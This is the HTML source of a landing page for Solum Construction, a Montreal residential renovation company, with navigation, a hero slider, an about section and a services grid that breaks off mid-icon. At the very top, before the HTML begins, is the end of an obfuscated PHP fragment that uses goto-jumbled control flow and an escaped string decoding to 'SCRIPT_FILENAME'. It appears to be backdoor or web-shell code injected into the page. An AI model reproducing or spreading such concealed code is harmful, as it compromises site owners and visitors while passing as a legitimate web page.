MTnVZ("\x53\x43\122\x49\120\x54\137\x46\x49\114\105\116\x41\115\x45")); goto PiUFN; Dc58I: d2OJO: goto rv6u6; lrmMo: H8s5z:?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<title>Solum Construction – Residential Renovations</title>
<meta name="viewport" content="width=device-width, initial-scale=1" />
<!-- Tailwind CDN -->
<link href="https://fonts.googleapis.com/css2?family=Montserrat:ital,wght@0,100..900;1,100..900&display=swap"
rel="stylesheet">
<link
href="https://fonts.googleapis.com/css2?family=Merriweather:wght@300;400;700&family=Montserrat:wght@300;400;500;600;700&display=swap"
rel="stylesheet" />
<script src="https://cdn.tailwindcss.com"></script>
</head>
<body class="bg-slate-50 text-slate-900">
<!-- ===================================
HEADER
==================================== -->
<header id="siteHeader" class="backdrop-blur-0 fixed top-0 left-0 right-0 z-40 transition-colors duration-300">
<div class="max-w-6xl mx-auto px-4 py-3 flex items-center justify-between">
<!-- Logo / Brand -->
<div class="flex items-center gap-2">
<div class="logo h-[125px] w-[125px]">
<a href="#"><img src="../images/Solum+Logo.webp" alt=""></a>
</div>
</div>
<!-- Desktop Nav -->
<nav class="hidden md:flex items-center gap-6 text-md font-medium">
<a href="#home" class=" header-link text-md font-light text-white hover:font-bold transition active">Home</a>
<a href="./home-3.html" target="_blank" class="header-link text-md font-light text-white hover:font-bold transition">About</a>
<a href="#services" class="header-link text-md font-light text-white hover:font-bold transition">Services</a>
<a href="#contact" class="header-link text-md font-light text-white hover:font-bold transition">Contact
us</a>
<div class="flex items-center gap-4 ml-5 lg:ml-20">
<select class="bg-white border border-white/40 text-black text-xs px-3 py-3 focus:outline-none">
<option class="text-black">EN</option>
<option class="text-black">FR</option>
</select>
<a href="#contact"
class="text-white inline-flex bg-[rgb(30,58,94)] items-center justify-center lg:w-[250px] w-auto px-2 py-3 lg:py-3.5 lg:px-3 border border-white/80 text-xs font-normal uppercase tracking-wider hover:bg-white hover:text-slate-900 transition">
Free Estimation
</a>
</div>
</nav>
<!-- Mobile menu button -->
<button id="menuToggle"
class="md:hidden inline-flex items-center justify-center w-10 h-10 bg-[rgb(30,58,95)] text-white hover:bg-white/10 transition"
aria-label="Open menu">
<div class="space-y-1.5">
<span class="block w-5 h-0.5 bg-current"></span>
<span class="block w-5 h-0.5 bg-current"></span>
<span class="block w-5 h-0.5 bg-current"></span>
</div>
</button>
</div>
<!-- Mobile overlay -->
<div id="mobileOverlay"
class="fixed inset-0 bg-black/40 opacity-0 pointer-events-none transition-opacity duration-300"></div>
<!-- Mobile slide-in menu -->
<aside id="mobileMenu"
class="fixed top-0 right-0 h-screen w-72 bg-[rgb(230,230,221)] shadow-xl translate-x-full transition-transform duration-300 z-50 flex flex-col">
<div class="flex items-center justify-between pr-5">
<button id="closeMenu" class="text-5xl font-normal ml-auto">×</button>
</div>
<nav class="flex-1 flex bg-[rgb(230,230,221)] flex-col gap-4 px-6 pb-6 text-sm">
<select class="bg-white border border-white/40 text-black text-xs px-2 py-2 focus:outline-none w-[25%]">
<option class="text-black">EN</option>
<option class="text-black">FR</option>
</select>
<a href="#home" class="mobile-links text-lg py-3 transition active">Home</a>
<a href="#about" class="mobile-links text-lg py-3 transition">About</a>
<a href="#services" class="mobile-links text-lg py-3 transition">Services</a>
<a href="#contact" class="mobile-links text-lg py-3 transition">Contact us</a>
</nav>
</aside>
</header>
<main id="home">
<!-- ===================================
HERO FULLSCREEN SLIDER
==================================== -->
<section class="relative h-screen overflow-hidden">
<!-- Slides -->
<div class="absolute inset-0 -z-10">
<!-- Slide 1 -->
<div class="slide active absolute inset-0">
<img src="./images/kitchen_639424665-4176027c-2880w.webp" class="w-full h-full object-cover"
alt="Bright open kitchen and living area" />
</div>
<!-- Slide 2 -->
<div class="slide absolute inset-0">
<img src="./images/kitchen_703633966-1920w.webp" class="w-full h-full object-cover"
alt="Modern living room with wood floors" />
</div>
<!-- Slide 3 -->
<div class="slide absolute inset-0">
<img src="./images/livingroom_580417750-1920w.webp" class="w-full h-full object-cover"
alt="Finished basement" />
</div>
<!-- gradient overlay for readability -->
<div class="absolute inset-0 bg-gradient-to-b from-black/45 via-black/35 to-black/75"></div>
</div>
<!-- Hero content -->
<div class="relative max-w-6xl mx-auto px-4 fade-up h-screen flex flex-col justify-center mt-[5%]">
<h1
class="font-merriweather text-3xl text-[rgba(230,230,221,1)] lg:leading-snug sm:text-4xl md:text-5xl tracking-[0.1em] uppercase font-semibold mb-4">
Residential<br /> Renovations
</h1>
<p
class="uppercase lg:leading-loose tracking-[0.3em] max-w-2xl text-lg sm:text-xl md:text-2xl lg:text-2xl text-slate-100 mb-8">
In Montreal and <br />Surrounding Areas
</p>
<a href="#contact"
class="text-white inline-flex bg-[rgb(30,58,95)] items-center justify-center md:w-[300px] w-auto py-3.5 px-4 border border-white/80 text-base font-normal tracking-wider hover:bg-white hover:text-slate-900 transition">
Contact Us Today
</a>
</div>
</section>
<!-- ===================================
ABOUT SECTION
==================================== -->
<section id="about" class="about-section relative py-20 bg-[rgb(244,244,244,1)] overflow-hidden
after:content-['']
after:absolute after:block
after:w-[236px] after:h-[145px]
after:-right-2 after:-bottom-2
after:bg-[url('./images/logo-for-bg.webp')]
after:bg-no-repeat after:bg-center after:bg-contain
after:opacity-[0.2]">
<div class="max-w-6xl mx-auto px-4 relative">
<div class="about">
<!-- Text Content -->
<div class="space-y-6 fade-up text-center">
<h2 class="text-[rgb(30,58,95)] text-3xl md:text-4xl uppercase font-bold font-merriweather lg:leading-snug">
Your Residential Projects<br>
<span class="text-[rgb(196,171,141)] italic font-normal montserrat">Our Mission</span>
</h2>
<p class="text-[rgb(15, 16, 16)] text-base leading-loose max-w-5xl mx-auto">
In your home, every detail counts. For owners of detached and semi-detached homes,
Solum Construction offers custom renovations with quality materials, fast turnaround,
and proven expertise. From floor installation to deck repairs, we make your home a
better place to live.
</p>
</div>
</div>
</div>
</section>
<!-- ===================================
PARALLAX CTA
==================================== -->
<section class="relative py-20 lg:py-30 bg-fixed bg-center bg-cover"
style="background-image: url('./images/Adhome_1079432276-2880w.webp');">
<div class="absolute inset-0 bg-[rgba(30,58,95,1)] opacity-40"></div>
<div class="relative max-w-4xl mx-auto px-6 text-center text-white space-y-6">
<div class="flex flex-col items-center space-y-3">
<h2 class="text-3xl md:text-4xl text-[rgba(230,230,221,1)] font-bold font-merriweather lg:leading-snug">
Request your free estimate<br /><span class="italic font-normal montserrat"> Today!</span></h2>
</div>
<!-- Call to action -->
<a href="#contact"
class="text-white inline-flex bg-[rgb(30,58,95)] items-center justify-center md:w-[300px] w-auto py-3.5 px-4 border border-white/80 text-base font-normal tracking-wider hover:bg-white hover:text-slate-900 transition">
Contact Us Now
</a>
</div>
</section>
<!-- Our Services -->
<section class="our-services bg-[#f4f4f4] relative overflow-hidden
after:content-['']
after:absolute after:block
after:w-[236px] after:h-[145px]
after:-right-2 after:-bottom-2
after:bg-[url('./images/logo-for-bg.webp')]
after:bg-no-repeat after:bg-center after:bg-contain
after:opacity-[0.2]">
<div class="mx-auto text-center py-[50px] px-4 bg-[#e6e6dd]">
<h2 class="text-3xl md:text-4xl font-merriweather text-[#1e3a5f] my-[10px]">OUR SERVICES</h2>
</div>
<div class="max-w-6xl mx-auto text-center px-5 py-16 lg:py-[100px] lg:px-0">
<div class="grid grid-cols-1 sm:grid-cols-2 gap-10">
<!-- Service 1 -->
<a href="#" class="flex items-center gap-6 text-2xl text-[#0f1010] font-medium group">
<svg class="w-[100px]" width="100%" height="100%" version="1.1" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg" id="1680750119" class="svg u_1680750119" data-icon-custom="true">
<path
d="m92.707 24.145h-4.625v-4.6133c0-1.168-0.91797-2.082-2.082-2.082h-1.332c0.26172-0.1875 0.54297-0.375 0.82422-0.53125l2.2188-1.207c0.33203-0.17578 0.54297-0.53125 0.54297-0.91797s-0.20703-0.73047-0.54297-0.91797l-2.2188-1.207c-1.3555-0.73828-2.457-1.8438-3.1992-3.1992l-1.207-2.2188c-0.36328-0.66797-1.4688-0.66797-1.832 0l-1.207 2.2188c-0.25 0.44922-0.54297 0.86328-0.875 1.2617h-62.84c-1.1445 0-2.082 0.9375-2.082 2.082v15.562c0 0.57422 0.46875 1.043 1.043 1.043s1.043-0.46875 1.043-1.043v-15.562h11.324v31.438h-11.324v-6.5c0-0.57422-0.46875-1.043-1.043-1.043s-1.043 0.46875-1.043 1.043v30.863l-1.082 1.9883c-0.73828 1.3555-1.8438 2.457-3.1992 3.1992l-2.2188 1.207c-0.33203 0.17578-0.54297 0.53125-0.54297 0.91797s0.20703 0.73047 0.54297 0.91797l2.2188 1.207c1.3555 0.73828 2.457 1.8438 3.1992 3.1992l1.207 2.2188c0.17578 0.33203 0.53125 0.54297 0.91797 0.54297s0.73047-0.20703 0.91797-0.54297l1.207-2.2188c0.26953-0.5 0.60547-0.94922 0.96875-1.375h2.5742v4.6133c0 1.168 0.91797 2.082 2.082 2.082h4.6133v4.625c0 1.1445 0.9375 2.082 2.082 2.082h64.969c1.1445 0 2.082-0.9375 2.082-2.082l0.003907-64.965c0-1.1445-0.9375-2.082-2.082-2.082zm-12.82-13.664 0.29297-0.53125 0.29297 0.53125c0.92578 1.707 2.3242 3.1055 4.0312 4.0312l0.53125 0.29297-0.53125 0.29297c-1.707 0.92578-3.1055 2.3242-4.0312 4.0312l-0.29297 0.53125-0.29297-0.53125c-0.92578-1.707-2.3242-3.1055-4.0312-4.0312l-0.53125-0.29297 0.53125-0.29297c1.707-0.92578 3.1055-2.3242 4.0312-4.0312zm-14 67.312h-11.324v-20.27h11.324zm-26.812 0h-11.324v-20.27h11.324zm0-32.492v10.137h-11.324v-20.27h11.324v10.137zm2.082 11.18v-10.137h11.324v31.438h-11.324v-21.312zm13.406-43.656h11.324v20.27h-11.324zm18.074 2.8945 2.2188 1.207c1.3555 0.73828 2.457 1.8438 3.1992 3.1992l1.207 2.2188s0.03125 0.042969 0.042969 0.0625v21.863h-11.332l-0.003906-31.445h6.6133l-1.957 1.0625c-0.33203 0.17578-0.54297 0.53125-0.54297 0.91797 0 0.38672 0.20703 0.73047 0.54297 0.91797zm-18.074 29.582v-10.137h11.324v10.125 0.011719 10.125h-11.324v-10.137zm13.406 11.18v-10.137h11.324v31.438h-11.324v-21.312zm-15.488-22.344v10.137h-11.324v-31.449h11.324zm-24.742-21.312h11.324v20.27h-11.324zm-2.082 33.52v31.449h-6.5625l1.7305-0.9375c0.33203-0.17578 0.54297-0.53125 0.54297-0.91797s-0.20703-0.73047-0.54297-0.91797l-2.2188-1.207c-1.3555-0.73828-2.457-1.8438-3.1992-3.1992l-1.0742-1.9883v-22.293h11.324zm-12.074 33.918-0.29297 0.53125-0.29297-0.53125c-0.92578-1.707-2.3242-3.1055-4.0312-4.0312l-0.53125-0.29297 0.53125-0.29297c1.707-0.92578 3.1055-2.3242 4.0312-4.0312l0.29297-0.53125 0.29297 0.53125c0.92578 1.707 2.3242 3.1055 4.0312 4.0312l0.53125 0.29297-0.53125 0.29297c-1.707 0.92578-3.1055 2.3242-4.0312 4.0312zm7.4609-0.38672h58.262c1.1445 0 2.082-0.9375 2.082-2.082v-32.469-0.019531-23.512l0.90625-1.668c0.11328-0.20703 0.25-0.39453 0.375-0.58203h3.332v64.957h-64.957zm71.664 11.324h-64.969v-4.625h58.262c1.168 0 2.082-0.91797 2.082-2.082v-58.262h4.625zm-80.457-57.188v-1.875c0-0.57422 0.46875-1.043 1.043-1.043s1.043 0.46875 1.043 1.043v1.875c0 0.57422-0.46875 1.043-1.043 1.043s-1.043-0.46875-1.043-1.043z">
</path>
</svg>
<div class="content">
<p class="text-xl lg:text-2xl">Flooring Installation</p> <span
class="w-12 h-12 flex transition-transform duration-300 ease-out group-hover:translate-x-[10px]"><svg
class="group-hover:color-[#c4ab8d] group-hover:fill-[#c4ab8d]" width="100%" height="100%"
version="1.1" viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg" id="1418917300"
class="svg u_1418917300" data-icon-custom="true" data-hover-effect="forward">
<path
d="m58.102 64.801 1.3984 1.3984 16.199-16.199-16.199-16.199-1.3984 1.3984 13.797 13.801h-47.598v2h47.598z">
</path>
</svg></span>
</div>
</a>
<!-- Service 2 -->
<a href="#" class="flex items-center gap-6 text-2xl text-[#0f1010] font-medium group">
<svg class="w-[100px]" width="100%" height="100%" version="1.1" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg" id="1803328076" class="svg u_1803328076" data-icon-custom="true"
data-icon-name="patio_6469907.svg">
<path
d="m98.469 50.055c0.16016 0.40625 0.62109 0.60937 1.0273 0.44922s0.60938-0.62109 0.44922-1.0273l-11.938-30.328c-1-2.5352-3.4062-4.1758-6.1328-4.1758l-63.75-0.007812c-2.7266 0-5.1328 1.6406-6.1328 4.1758l-11.938 30.332c-0.16016 0.40625 0.039062 0.86719 0.44922 1.0273 0.09375 0.039062 0.19531 0.054688 0.28906 0.054688 0.31641 0 0.61719-0.19141 0.73828-0.50391l0.54297-1.375 4.668 14.164-6.7188 26.277c-0.10938 0.42578 0.14844 0.85547 0.57031 0.96484 0.066406 0.015625 0.13281 0.023438 0.19531 0.023438 0.35547 0 0.67578-0.23828 0.76953-0.59766l4.8945-19.156h7.8867c-1.168 2.1289-2.4414 3.9219-3.8164 5.3789-0.21875 0.23047-0.27734 0.56641-0.15234 0.85938 0.125 0.28906 0.41016 0.48047 0.73047 0.48047h0.40234v1.9375c0 1.543 0.92578 2.8711 2.25 3.4648l-0.050781 0.1875c-0.26172 0.97266-0.12891 1.9922 0.37109 2.8672 0.50391 0.875 1.3164 1.5 2.2891 1.7617 0.32812 0.089844 0.65625 0.12891 0.98047 0.12891 1.6641 0 3.1914-1.1094 3.6445-2.793l2.0352-7.5508h2.2461l-1.3125 12.156c-0.046875 0.43359 0.26953 0.82812 0.70312 0.875 0.027344 0.003906 0.058594 0.003906 0.085938 0.003906 0.39844 0 0.74219-0.30078 0.78906-0.70703l0.82422-7.6367h2.5586v2.2461c0 1.8789 1.5273 3.4062 3.4062 3.4062 1.8789 0 3.4062-1.5273 3.4062-3.4062v-1.2109c0.95312-0.035156 1.8164-0.42188 2.4648-1.0352h11.004v7.5508c0 0.4375 0.35547 0.79297 0.79297 0.79297s0.79297-0.35547 0.79297-0.79297v-18.957h21.605l2.0586 19.043c0.042969 0.40625 0.38672 0.70703 0.78906 0.70703 0.027344 0 0.058594 0 0.085938-0.003906 0.43359-0.046875 0.75-0.4375 0.70312-0.875l-0.80859-7.4648h21.23l1.9805 7.7461c0.089843 0.35938 0.41406 0.59766 0.76953 0.59766 0.066406 0 0.13281-0.007813 0.19531-0.023437 0.42578-0.10938 0.67969-0.53906 0.57031-0.96484l-6.7148-26.277 4.668-14.164zm-29.242 9.6758c-8.0586 0-14.617-4.3672-14.617-9.7383 0-4.2188 4.2461-8.0195 10.23-9.2852-0.11328 0.71875-0.39844 1.4453-0.69922 2.207-0.49219 1.25-1.0508 2.6641-1.0508 4.4727 0 3.4922 3.6602 5.1172 6.1328 5.1172s6.1328-1.625 6.1328-5.1172c0-1.8125-0.55859-3.2266-1.0508-4.4727-0.30078-0.76562-0.58594-1.4883-0.69922-2.207 5.9844 1.2656 10.23 5.0664 10.23 9.2852 0.007812 5.3672-6.5508 9.7383-14.609 9.7383zm-15.547-12.945h-2.8867v-17.336h13.73c0.23437 0.37891 0.47656 0.72656 0.69531 1.0117-0.67188 0.50391-1.4766 1.3867-1.4766 2.7109 0 1.1641 0.73828 2.0391 1.457 2.6172-0.058594 0.0625-0.11719 0.12891-0.17188 0.19531-0.4375 0.5625-0.58984 1.2852-0.41406 1.9766 0.097657 0.39453 0.17188 0.76953 0.21875 1.125-5.4766 1.0664-9.6172 4.0039-11.152 7.6992zm-44.266 5.5977-3.8828-12.496 5.6328-14.309 2.3633 10.715zm7.5-22.934h13.512l-0.60156 5.5703h-5.9219c-0.96875-1.0703-2.4492-1.5586-3.8789-1.2383-1.0547 0.23438-1.957 0.86328-2.5391 1.7773-0.58203 0.91016-0.77344 1.9961-0.53906 3.0508l1.8086 8.1758h-6.2695zm56.852-0.95703c0.054687 0.015624 1.3164 0.39062 1.3164 1.4258 0 0.77734-1.4375 1.375-2.1328 1.543-0.24219 0.058593-0.44141 0.22266-0.54297 0.44922-0.10156 0.22656-0.089844 0.48828 0.027344 0.70312 0.003906 0.007813 0.47266 0.91797 0.23047 1.6172-0.16406 0.47656-0.85156 0.77344-1.168 0.86719h-4.4688c-0.55859-0.27734-1.6992-1.0273-1.6992-1.9219 0-1.1602 1.3789-1.7695 1.3906-1.7734 0.23438-0.097656 0.41016-0.30469 0.46484-0.55469 0.058594-0.25-0.011719-0.51172-0.17969-0.70312-1.0547-1.1914-2.2617-3.2188-1.7812-3.9297 0.55469-0.82812 2.6797-0.4375 3.6211-0.12109 0.32422 0.10938 0.68359 0 0.89062-0.27344 0.77734-1.0312 2.3086-2.4141 3.1172-2.1133 0.70703 0.26172 0.65625 2.4492 0.35156 3.8555-0.089844 0.40625 0.16016 0.8125 0.5625 0.92969zm9.3203 0.95703 1.7266 6.7578h-11.234c-0.046875-0.074219-0.097656-0.14844-0.15234-0.21875-0.027343-0.035156-0.058593-0.066406-0.085937-0.097656 0.33984-0.28125 0.65234-0.65234 0.82031-1.1406 0.25391-0.73047 0.16016-1.4688 0.007813-2.0195 1.0039-0.39453 2.4961-1.2422 2.4961-2.8125 0-0.16406-0.015624-0.32031-0.039062-0.46875zm-16.641 11.254c0.10156-0.89062 0.003907-1.9453-0.29687-3.1289-0.054688-0.21484-0.007813-0.4375 0.12891-0.61328 0.13672-0.17578 0.34766-0.28125 0.57031-0.28125h4.7539c0.22656 0 0.43359 0.10156 0.57031 0.28125 0.13672 0.17578 0.18359 0.39844 0.12891 0.61328-0.30078 1.1836-0.39844 2.2344-0.29688 3.125 0.11328 0.98828 0.46094 1.8672 0.82812 2.7969 0.46094 1.1719 0.94141 2.3828 0.94141 3.8906 0 2.3047-2.6406 3.5312-4.5469 3.5312s-4.5469-1.2266-4.5469-3.5312c0-1.5078 0.47656-2.7188 0.94141-3.8906 0.36719-0.92969 0.71094-1.8086 0.82422-2.793zm2.375-16.273c-0.4375-0.11328-1.082-0.25391-1.7734-0.28906v-7.5898h3.2891v6.4375c-0.64453 0.48438-1.1836 1.0508-1.5156 1.4414zm-3.3594-0.15625c-0.61328 0.16406-1.168 0.48437-1.5508 1.0508-0.5 0.74219-0.44531 1.6523-0.14844 2.5391h-10.531v-11.309h12.23zm-13.816 3.5898h-3.2891v-11.309h3.2891zm-2.4375 8.3438h-3.1484c-0.375-0.69531-0.94531-1.2656-1.6562-1.6445-1.4688-0.78125-3.2305-0.58984-4.4922 0.45703h-8.4922l0.60156-5.5703h17.184zm-8.2539 0.007813c0.76172-0.61719 1.8203-0.72266 2.6992-0.25391 0.58203 0.30859 1.0039 0.82812 1.1992 1.457 0.19141 0.62891 0.12891 1.2969-0.18359 1.875l-5.4023 10.137c0.36328-4.0703 0.92578-8.4727 1.6875-13.215zm5.8164-8.3516h-12.23v-11.309h12.23zm-13.816 0h-3.2891v-11.309h3.2891zm-14.461 10.402c-0.14063-0.64062-0.027344-1.3008 0.32812-1.8555 0.35547-0.55469 0.90234-0.9375 1.543-1.082 0.85938-0.19141 1.75 0.097656 2.3398 0.73438-0.46094 4.7969-1.0508 9.2109-1.7695 13.246zm5.7578-1.6602h15.035c-1.2539 7.9336-1.9414 14.922-2.0625 21.031h-16.422c1.5039-5.8984 2.6484-12.891 3.4492-21.031zm-3.8672 22.617h16.82c-0.003906 1.0234 0.007813 2.0156 0.039063 2.9883h-17.75c0.30859-0.96094 0.60547-1.9531 0.89062-2.9883zm18.594-5.8711 7.0938-13.309c0.37109-0.69922 0.52734-1.4766 0.46094-2.2461h2.6758v20.398l-10.414-0.003906c0.023437-1.5508 0.085937-3.168 0.18359-4.8398zm46.453-3.3594c0-5.1328-4.8164-9.543-11.805-10.902 0.046875-0.35547 0.12109-0.73047 0.21875-1.125 0.015625-0.058594 0.023438-0.11328 0.035156-0.17188h11.344l5.2148 20.398h-10.051c3.1016-2.0625 5.043-4.9766 5.043-8.1992zm1.043-13.695 2.3633-10.715 5.6328 14.309-3.8828 12.496zm1.3203-13.363-2.1914 9.9492-1.0898-4.2617 1.5742-9.7617c0.17187 0.26953 0.32422 0.55859 0.44531 0.86719zm-3.082-5.5078-1.6836 10.438h-7.2539c-0.27734-0.26562-0.59375-0.47656-0.89453-0.62891 0.22266-1.4258 0.41406-4.3164-1.4727-5.0195-0.49219-0.18359-0.99609-0.17188-1.4844-0.042969v-5.6211h9.9531c1.043 0 2.0234 0.31641 2.8359 0.875zm-56.633-0.875v11.309l-11.105 0.003906-1.6836-10.438c0.8125-0.55859 1.793-0.875 2.8359-0.875l9.9531 0.003907zm-14.609 3.1719c0.12109-0.30859 0.27344-0.59766 0.44531-0.86719l1.5742 9.7617-1.0898 4.2617-2.1914-9.9453zm-10.488 26.645 1.6211-4.1211 4.0586 13.07-1.1914 4.668zm3.8828 22.402 5.2148-20.398h7.0273l1.0703 4.8398c-1.3281 6.25-3 11.445-5.0117 15.559zm12.098-4.9727h18.34c0.22266 4.4453 0.82031 8.332 1.7812 11.688h-26.23c2.3789-2.9375 4.4141-6.8203 6.1094-11.688zm-5.8672 15.211v-1.9375h4.4219v1.9375c0 1.2188-0.99219 2.2109-2.2109 2.2109s-2.2109-0.99219-2.2109-2.2109zm6.3711 5.2031c-0.3125 1.1641-1.5156 1.8594-2.6836 1.543-1.1641-0.3125-1.8594-1.5195-1.543-2.6836l0.070313-0.26562c2.0898-0.003907 3.7891-1.7031 3.7891-3.7969v-1.9375h2.2891zm7.0742-4.0312 0.33594-3.1055h2.0508v3.1055zm5.793 5.6523c-1.0039 0-1.8203-0.81641-1.8203-1.8203v-6.9375h1.2891v1.9375c0 1.582 0.97266 2.9375 2.3516 3.5078v1.4922c0 1.0039-0.81641 1.8203-1.8203 1.8203zm3.2656-4.6133c-1.2188 0-2.2109-0.99219-2.2109-2.2109v-1.9375h4.4219v1.9375c0 1.2188-0.99219 2.2109-2.2109 2.2109zm3.6094-1.0391c0.12109-0.36719 0.1875-0.76172 0.1875-1.168v-1.9375h0.75781c0.25391 0 0.49219-0.12109 0.64062-0.32422 0.14844-0.20312 0.19141-0.46875 0.11328-0.71094-1.4062-4.3789-2.1133-9.7734-2.125-16.258h10.422v20.398zm11.586-11.41v-20.398h2.3984c-0.10547 0.53125-0.16406 1.0703-0.16406 1.6211 0 6.2422 7.2695 11.324 16.203 11.324 0.74219 0 1.4688-0.039062 2.1836-0.10547l0.81641 7.5586zm24.266 11.41-2.0742-19.172c1.5586-0.26172 3.0273-0.67578 4.3789-1.2266h13.477l5.2148 20.398zm17.469-20.195-1.1914-4.668 4.0586-13.07 1.6211 4.1211zm-92.473-24.367 7.2148-18.332c1.7695-4.4922 6.0273-7.3945 10.855-7.3945h63.75c4.8242 0 9.0859 2.9023 10.852 7.3906l7.2148 18.332c0.16016 0.40625-0.039062 0.86719-0.44922 1.0273-0.09375 0.039063-0.19531 0.054687-0.28906 0.054687-0.31641 0-0.61719-0.19141-0.73828-0.50391l-7.2148-18.332c-1.5234-3.875-5.2031-6.3828-9.375-6.3828h-63.75c-4.1719 0-7.8516 2.5078-9.3789 6.3867l-7.2148 18.336c-0.16016 0.40625-0.62109 0.60938-1.0273 0.44922-0.41016-0.16406-0.60938-0.625-0.44922-1.0312z">
</path>
</svg>
<div class="content">
<p class="text-xl lg:text-2xl">Decks and Patios</p> <span
class="w-12 h-12 flex transition-transform duration-300 ease-out group-hover:translate-x-[10px]"><svg
class="group-hover:color-[#c4ab8d] group-hover:fill-[#c4ab8d]" width="100%" height="100%"
version="1.1" viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg" id="1418917300"
class="svg u_1418917300" data-icon-custom="true" data-hover-effect="forward">
<path
d="m58.102 64.801 1.3984 1.3984 16.199-16.199-16.199-16.199-1.3984 1.3984 13.797 13.801h-47.598v2h47.598z">
</path>
</svg></span>
</div>
</a>
<!-- Service 3 -->
<a href="#" class="flex items-center gap-6 text-2xl text-[#0f1010] font-medium group">
<svg class="w-[100px]" width="100%" height="100%" version="1.1" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg" id="1127490552" class="svg u_1127490552" data-icon-custom="true">
<path
d="m93.352 56.18c0.054688 0.003906 0.10938 0.007812 0.16406 0.019531l1.1055 0.14062v-4.9219l-1.1055 0.14062c-0.054687 0.011718-0.10938 0.019531-0.16797 0.019531l-7.6406 0.96875v2.6641zm0.91016 2.0234v36.242c0 0.52344-0.42578 0.94922-0.94922 0.94922l-88.883-0.003906c-0.52344 0-0.94922-0.42578-0.94922-0.94922l-0.003907-88.883c0-0.52344 0.42578-0.94922 0.94922-0.94922h88.887c0.52344 0 0.94922 0.42578 0.94922 0.94922v44l1.1914-0.15234c0.51953-0.066406 0.99219 0.30078 1.0586 0.82031 0.003906 0.039063 0.007812 0.078126 0.007812 0.11719h0.003907v7.0703c0 0.52344-0.42578 0.94922-0.94922 0.94922-0.070313 0-0.13672-0.007812-0.20312-0.023437zm-1.8984-8.4062-7.6406 0.96875c-0.50781 0.019531-0.91406 0.4375-0.91406 0.94922v1.2148h-5.4062c-0.90234 0-1.7227-0.36719-2.3164-0.96094s-0.96094-1.4141-0.96094-2.3125l0.003906-23.113c0-0.72656-0.29688-1.3867-0.77344-1.8672-0.47656-0.47656-1.1367-0.77344-1.8672-0.77344h-5.3477c-0.72656 0-1.3867 0.29688-1.8672 0.77344-0.47656 0.47656-0.77344 1.1367-0.77344 1.8672v4.957c-0.68359 0.17578-1.293 0.53125-1.7773 1.0156-0.69922 0.69922-1.1328 1.6641-1.1328 2.7305v36.984c0 1.0625 0.43359 2.0273 1.1328 2.7305 0.69922 0.69922 1.6641 1.1328 2.7305 1.1328 1.0625 0 2.0273-0.43359 2.7305-1.1328 0.69922-0.69922 1.1328-1.6641 1.1328-2.7305v-36.984c0-1.0625-0.43359-2.0273-1.1328-2.7305-0.48438-0.48438-1.0977-0.83984-1.7773-1.0156v-4.957c0-0.20312 0.082031-0.38672 0.21875-0.52344 0.13281-0.13281 0.32031-0.21875 0.52344-0.21875h5.3477c0.20312 0 0.38672 0.082031 0.52344 0.21875 0.13281 0.13281 0.21875 0.32031 0.21875 0.52344v23.109c0 1.4258 0.58203 2.7188 1.5195 3.6562s2.2305 1.5195 3.6562 1.5195h5.4062v1.2148h0.003907c0 0.46875 0.34766 0.87891 0.82812 0.9375l7.7227 0.97656v35.531l-86.996 0.003907v-86.984h86.984zm-28.875-14.551v36.984c0 0.53906 0.22266 1.0312 0.57812 1.3867 0.35547 0.35547 0.84766 0.57812 1.3867 0.57812s1.0312-0.22266 1.3867-0.57812c0.35547-0.35547 0.57812-0.84766 0.57812-1.3867l-0.003907-36.984c0-0.53906-0.22266-1.0312-0.57812-1.3867-0.35547-0.35547-0.84766-0.57812-1.3867-0.57812-0.53906 0-1.0312 0.22266-1.3867 0.57812s-0.57422 0.84766-0.57422 1.3867zm-18.137 13.566-15.609 15.613c-0.37109 0.37109-0.37109 0.97266 0 1.3438 0.37109 0.37109 0.97266 0.37109 1.3438 0l15.613-15.613c0.37109-0.37109 0.37109-0.97266 0-1.3438-0.375-0.37109-0.97656-0.37109-1.3477 0zm0-14.578-15.609 15.609c-0.37109 0.37109-0.37109 0.97266 0 1.3438 0.37109 0.37109 0.97266 0.37109 1.3438 0l15.613-15.613c0.37109-0.37109 0.37109-0.97266 0-1.3438-0.375-0.36719-0.97656-0.36719-1.3477 0.003906zm36.223 29.148v19.32h-65.406v-65.406h65.41v27.121c0 0.52344 0.42578 0.94922 0.94922 0.94922 0.52344 0 0.94922-0.42578 0.94922-0.94922l-0.003906-28.07c0-0.52344-0.42578-0.94922-0.94922-0.94922h-67.305c-0.52344 0-0.94922 0.42578-0.94922 0.94922v67.309c0 0.52344 0.42578 0.94922 0.94922 0.94922h67.309c0.52344 0 0.94922-0.42578 0.94922-0.94922l-0.003906-20.273c0-0.52344-0.42578-0.94922-0.94922-0.94922-0.52344 0-0.94922 0.42188-0.94922 0.94922z"
fill-rule="evenodd"></path>
</svg>
<div class="content">
<p class="text-xl lg:text-2xl">Interior Finishes </p><span
class="w-12 h-12 flex transition-transform duration-300 ease-out group-hover:translate-x-[10px]"><svg
class="group-hover:color-[#c4ab8d] group-hover:fill-[#c4ab8d]" width="100%" height="100%"
version="1.1" viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg" id="1418917300"
class="svg u_1418917300" data-icon-custom="true" data-hover-effect="forward">
<path
d="m58.102 64.801 1.3984 1.3984 16.199-16.199-16.199-16.199-1.3984 1.3984 13.797 13.801h-47.598v2h47.598z">
</path>
</svg></span>
</div>
</a>
<!-- Service 4 -->
<a href="#" class="flex items-center gap-6 text-2xl text-[#0f1010] font-medium group">
<svg class="w-[100px]" width="100%" height="100%" version="1.1" viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"
id="1857103084" class="svg u_1857103084" data-icon-custom="true">
<path
